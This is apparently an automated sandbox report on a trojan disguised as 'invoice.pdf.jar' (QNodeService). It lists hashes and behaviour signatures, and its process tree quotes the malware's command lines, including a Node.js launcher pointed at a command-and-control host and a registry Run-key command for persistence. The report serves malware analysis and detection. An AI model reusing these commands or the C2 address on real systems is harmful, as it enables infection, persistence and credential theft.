Analysis

  • max time kernel
    65s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    18-07-2020 08:43

General

  • Target

    invoice.pdf.jar

  • Size

    12KB

  • MD5

    0e50cb4e9b25da899c46b32c503dceef

  • SHA1

    98a5551e4c9a079bf200a45a055210ed5d81868b

  • SHA256

    e8d0db564e1a959cc6e308980c5b681841c76d28ac976d99579bcc2b9ff7f420

  • SHA512

    5c24a2ab5ce9b5bb0e4835b54efaaa67abe1fb1eda10c62d54fbdb899f03aabd9674b215ded76aa01c45662a82e5d9d0ad5ed40879130f6b10dd4f401718d1b3

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Loads dropped DLL 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Executes dropped EXE 2 IoCs
  • JavaScript code in executable 2 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Adds Run key to start application 2 TTPs 2 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\invoice.pdf.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://cocogzy.ddns.net
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-b18348b9" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-b18348b9.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1312
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-b18348b9" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-b18348b9.cmd\""
          4⤵
          • Adds Run key to start application
          PID:1420
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://cocogzy.ddns.net
        3⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        • Executes dropped EXE
        PID:1500

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/896-116-0x0000025D45700000-0x0000025D45701000-memory.dmp

    Filesize

    4KB

  • memory/1500-122-0x0000032CCBAC0000-0x0000032CCBAC1000-memory.dmp

    Filesize

    4KB